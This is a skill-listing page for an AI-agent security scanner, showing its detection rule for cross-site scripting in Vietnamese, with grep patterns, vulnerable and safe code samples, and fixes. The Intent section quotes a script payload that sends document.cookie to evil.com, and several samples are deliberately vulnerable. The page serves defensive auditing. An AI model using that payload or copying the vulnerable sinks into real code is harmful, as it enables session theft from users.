Skip to content

tanviet12/vbsec / skills/vbs-scan-security

vbs-scan-security

Flagged

Use when scanning code for security vulnerabilities. Use when user says "scan security", "kiểm tra bảo mật", "security audit", "review security", or invokes `/vbs-scan-security`. Auto-delegates to sub-agents for large scans (>20 main-language files OR >30 total OR >14 days). Outputs bilingual reports (vi/en). Optional `--auto-fix` (agentic patch + verify loop) and `--sca` (live CVE lookup via OSV.dev).

FileKindSize
SKILL.mdskill md36.2 KB
VERSIONother6 B
references/chunking-strategy.mdmarkdown7.2 KB
references/data-flow-classification.mdmarkdown9.5 KB
references/dependency-scan.mdmarkdown9.7 KB
references/i18n/en.mdmarkdown8.7 KB
references/i18n/vi.mdmarkdown9.4 KB
references/language-detection.mdmarkdown7.5 KB
references/load-rules.shexecutablescript5.2 KB
references/output-format.mdmarkdown26.1 KB
references/project-context.mdmarkdown2.7 KB
references/sub-agent-prompts.mdmarkdown16.5 KB
references/validate-report.pyexecutablescript8.7 KB
rules/generic/01-hardcoded-secret.mdmarkdown5.4 KB
rules/generic/02-sql-injection.mdmarkdown5.2 KB
rules/generic/03-xss.mdmarkdown4.9 KB
rules/generic/04-idor.mdmarkdown5.7 KB
rules/generic/05-slopsquatting.mdmarkdown6.1 KB
rules/generic/06-brute-force.mdmarkdown6.9 KB
rules/generic/07-mass-assignment.mdmarkdown6.3 KB
rules/generic/08-insecure-deserialization.mdmarkdown6.3 KB
rules/generic/09-ssrf.mdmarkdown6.7 KB
rules/generic/10-path-traversal.mdmarkdown6.3 KB
rules/generic/11-csrf.mdmarkdown7.8 KB
rules/generic/12-broken-access-control.mdmarkdown7.9 KB
rules/generic/13-weak-password-hashing.mdmarkdown5.2 KB
rules/generic/14-jwt-none-algorithm.mdmarkdown5.3 KB
rules/generic/15-cors-misconfig.mdmarkdown5.3 KB
rules/generic/16-unrestricted-file-upload.mdmarkdown5.9 KB
rules/generic/17-verbose-error-debug-mode.mdmarkdown5.8 KB
rules/generic/18-missing-rate-limit.mdmarkdown10.7 KB
rules/generic/19-race-condition.mdmarkdown11.5 KB
rules/generic/20-outdated-dependency.mdmarkdown7.2 KB
rules/generic/21-command-injection.mdmarkdown6.6 KB
rules/generic/22-vulnerable-dependency.mdmarkdown5.3 KB
rules/generic/23-llm-prompt-injection.mdmarkdown9.7 KB
rules/generic/24-excessive-agency.mdmarkdown10.1 KB
rules/generic/25-tenant-isolation.mdmarkdown10.1 KB
rules/generic/26-authz-path-parity.mdmarkdown10.9 KB
rules/generic/27-excessive-data-exposure.mdmarkdown10.4 KB
rules/generic/28-business-state-integrity.mdmarkdown9.5 KB
rules/generic/29-sensitive-data-in-logs.mdmarkdown9.1 KB
rules/generic/30-auth-session-lifecycle.mdmarkdown9.4 KB
rules/generic/31-resource-exhaustion.mdmarkdown9.0 KB
rules/languages/README.mdmarkdown8.5 KB
rules/languages/dart/01-hardcoded-secret.mdmarkdown7.9 KB
rules/languages/dart/03-xss.mdmarkdown5.2 KB
rules/languages/dart/05-slopsquatting.mdmarkdown4.6 KB
rules/languages/dart/10-path-traversal.mdmarkdown6.3 KB
rules/languages/dart/12-broken-access-control.mdmarkdown8.3 KB
rules/languages/dart/17-verbose-error-debug-mode.mdmarkdown6.7 KB
rules/languages/dart/20-outdated-dependency.mdmarkdown4.7 KB
rules/languages/dart/README.mdmarkdown3.7 KB
rules/languages/dotnet/02-sql-injection.mdmarkdown5.7 KB
rules/languages/dotnet/07-mass-assignment.mdmarkdown6.0 KB
rules/languages/dotnet/08-insecure-deserialization.mdmarkdown5.7 KB
rules/languages/dotnet/17-verbose-error-debug-mode.mdmarkdown5.0 KB
rules/languages/dotnet/21-command-injection.mdmarkdown5.3 KB
rules/languages/dotnet/README.mdmarkdown1.7 KB
rules/languages/go/02-sql-injection.mdmarkdown5.2 KB
rules/languages/go/08-insecure-deserialization.mdmarkdown5.0 KB
rules/languages/go/09-ssrf.mdmarkdown5.8 KB
rules/languages/go/17-verbose-error-debug-mode.mdmarkdown6.1 KB
rules/languages/go/21-command-injection.mdmarkdown5.2 KB
rules/languages/go/README.mdmarkdown2.7 KB
rules/languages/php/02-sql-injection.mdmarkdown5.8 KB
rules/languages/php/08-insecure-deserialization.mdmarkdown6.2 KB
rules/languages/php/11-csrf.mdmarkdown6.2 KB
rules/languages/php/17-verbose-error-debug-mode.mdmarkdown6.5 KB
rules/languages/php/21-command-injection.mdmarkdown6.7 KB
rules/languages/php/README.mdmarkdown2.9 KB
rules/languages/python/02-sql-injection.mdmarkdown7.2 KB
rules/languages/python/07-mass-assignment.mdmarkdown7.3 KB
rules/languages/python/08-insecure-deserialization.mdmarkdown7.3 KB
rules/languages/python/09-ssrf.mdmarkdown7.5 KB
rules/languages/python/11-csrf.mdmarkdown7.6 KB
rules/languages/python/14-jwt-none-algorithm.mdmarkdown7.5 KB
rules/languages/python/15-cors-misconfig.mdmarkdown8.0 KB
rules/languages/python/17-verbose-error-debug-mode.mdmarkdown8.4 KB
rules/languages/python/21-command-injection.mdmarkdown8.5 KB
rules/languages/python/README.mdmarkdown3.4 KB
rules/languages/typescript/02-sql-injection.mdmarkdown7.5 KB
rules/languages/typescript/03-xss.mdmarkdown6.7 KB
rules/languages/typescript/07-mass-assignment.mdmarkdown7.4 KB
rules/languages/typescript/08-insecure-deserialization.mdmarkdown7.0 KB
rules/languages/typescript/09-ssrf.mdmarkdown7.5 KB
rules/languages/typescript/11-csrf.mdmarkdown7.3 KB
rules/languages/typescript/14-jwt-none-algorithm.mdmarkdown7.0 KB
rules/languages/typescript/15-cors-misconfig.mdmarkdown7.2 KB
rules/languages/typescript/17-verbose-error-debug-mode.mdmarkdown7.2 KB
rules/languages/typescript/21-command-injection.mdmarkdown6.7 KB
rules/languages/typescript/README.mdmarkdown3.3 KB
workflows/auto-fix.mdmarkdown18.9 KB
workflows/large-review.mdmarkdown10.5 KB
workflows/small-review.mdmarkdown10.1 KB

rules/generic/03-xss.md

View on GitHub
---
id: XSS
severity_max: HIGH
applies_to: all
---

# Cross-Site Scripting (XSS)

## Intent

User input (L1) được render thẳng vào HTML/DOM mà không escape. Attacker chèn `<script>fetch('//evil.com/?c='+document.cookie)</script>` để **đánh cắp session cookie, JWT từ localStorage, phishing form login, key-logging, hoặc xài CSRF từ trong tab nạn nhân**.

Vibe code rất hay dính vì AI sinh code "render markdown / preview HTML" hoặc dùng `dangerouslySetInnerHTML` / `v-html` / `innerHTML` cho tiện.

## Khi nào HIGH

- L1 input render vào HTML response qua `innerHTML`, `dangerouslySetInnerHTML`, `v-html`, `{{{ }}}` (Handlebars triple), `|safe` (Jinja), `Html.Raw` (.NET), `raw` (Rails)
- Không có sanitizer (DOMPurify, bleach, sanitize-html) ở giữa
- Stored XSS (lưu vào DB rồi render cho user khác) → impact cao hơn reflected XSS

## Khi nào MEDIUM (giảm cấp)

- Reflected XSS chỉ ảnh hưởng nạn nhân click link (cần social engineering)
- Có CSP nghiêm ngặt (`default-src 'self'; script-src 'self'`) chặn được inline script
- App chạy hoàn toàn trong webview nội bộ, không public

## Cách reasoning (KHÔNG pattern-match thuần)

1. **Grep** các sink nguy hiểm (xem patterns)
2. **Read** function chứa sink: data render ra đến từ đâu?
3. **Trace** L1-L4:
   - Đến từ `req.body`, `req.query`, form input, URL hash → L1
   - Đến từ DB nhưng do user khác nhập vào (`comment.body`, `post.content`) → L1 stored
   - Đến từ admin config hardcoded → L3, safe
4. **Verify**: có gọi `DOMPurify.sanitize()`, `bleach.clean()`, `escape()`, `sanitize-html` không?
5. Chú ý framework auto-escape: React `{var}` an toàn, JSX attribute an toàn; nhưng `dangerouslySetInnerHTML`, `href={userUrl}` (javascript: scheme), `dangerouslySetInnerHTML` thì không.

## Search patterns (gợi ý — KHÔNG chạy literal, dùng Grep tool)

### React / Vue / Angular

```
dangerouslySetInnerHTML\s*=\s*\{\{
v-html\s*=
\[innerHTML\]\s*=                          # Angular
bypassSecurityTrust(Html|Script|Url)
```

### Vanilla JS / DOM

```
\.innerHTML\s*=\s*[^"']                    # innerHTML = variable
\.outerHTML\s*=
document\.write\s*\(
\.insertAdjacentHTML\s*\(
eval\s*\(\s*.*req\.
```

### Server templating

```
\{\{\{\s*[a-zA-Z_]+\s*\}\}\}              # Handlebars/Mustache triple
\|\s*safe\b                                # Jinja2
\|\s*raw\b                                 # Twig / Jinja
Html\.Raw\s*\(                             # ASP.NET MVC
<%==\s*[^=]                                # ERB raw / EJS raw
```

### URL/attribute injection

```
href\s*=\s*\{?[a-zA-Z_]+\}?                # check javascript: scheme allowed
window\.location\s*=\s*req\.
```

## Examples

### HIGH — flag

```jsx
// React — comment.body là L1 stored (user khác nhập)
function CommentView({ comment }) {
  return <div dangerouslySetInnerHTML={{ __html: comment.body }} />;
}
```

```javascript
// Vanilla — q là L1 reflected
const q = new URLSearchParams(location.search).get("q");
document.getElementById("result").innerHTML = "Bạn tìm: " + q;
```

```python
# Jinja2 — user_bio là L1 stored
# template:
# <p>{{ user_bio | safe }}</p>
```

```php
<?php
// Reflected XSS
echo "<h1>Xin chào " . $_GET['name'] . "</h1>";
```

```html
<!-- Vue — message là L1 -->
<div v-html="message"></div>
```

### NOT high — không flag (hoặc downgrade)

```jsx
// React auto-escape — an toàn
<div>{comment.body}</div>
```

```javascript
// Dùng sanitizer
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml);
```

```python
# Jinja2 default auto-escape ON
# <p>{{ user_bio }}</p>  → < và > được escape
```

```javascript
// textContent thay vì innerHTML — an toàn
el.textContent = userInput;
```

## Fix recommendation

1. **Default: escape, không raw**:
   - React: dùng `{var}`, tránh `dangerouslySetInnerHTML`
   - Vue: dùng `{{ var }}`, tránh `v-html`
   - Jinja2/Django: KHÔNG dùng `|safe` cho L1
2. **Cần render HTML (markdown, rich text)**: dùng sanitizer whitelist:
   ```javascript
   import DOMPurify from "dompurify";
   const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ["b", "i", "a", "p"] });
   ```
   Python: `bleach.clean(text, tags=["b","i","a"])`.
3. **URL attributes**: validate scheme — chỉ cho `http:`, `https:`, `mailto:`:
   ```javascript
   const safe = /^(https?:|mailto:)/.test(url) ? url : "#";
   ```
4. **Set CSP header**:
   ```
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
   ```
5. **HttpOnly cookie** cho session — XSS không đọc được cookie. Cộng SameSite=Lax. Tránh để JWT trong `localStorage` nếu lo XSS.

## Cross-references

- Rule `11-csrf`: XSS có thể bypass CSRF token (đọc DOM lấy token)
- Rule `17-verbose-error-debug-mode`: error page render lại input không escape → reflected XSS
- Rule `19-no-csp-headers`: thiếu CSP làm XSS dễ exploit hơn
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall